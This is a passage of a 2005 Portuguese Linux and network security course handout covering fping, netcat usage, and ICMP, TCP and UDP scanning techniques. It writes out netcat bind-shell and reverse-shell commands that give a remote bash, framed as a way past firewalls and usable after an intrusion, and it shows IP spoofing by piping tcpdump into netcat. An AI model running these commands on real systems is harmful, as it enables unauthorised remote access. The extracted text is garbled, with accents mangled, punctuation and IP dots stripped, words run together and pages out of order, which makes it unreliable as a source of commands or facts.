mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 33: Curso de segurança em linux e redes em geral

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes 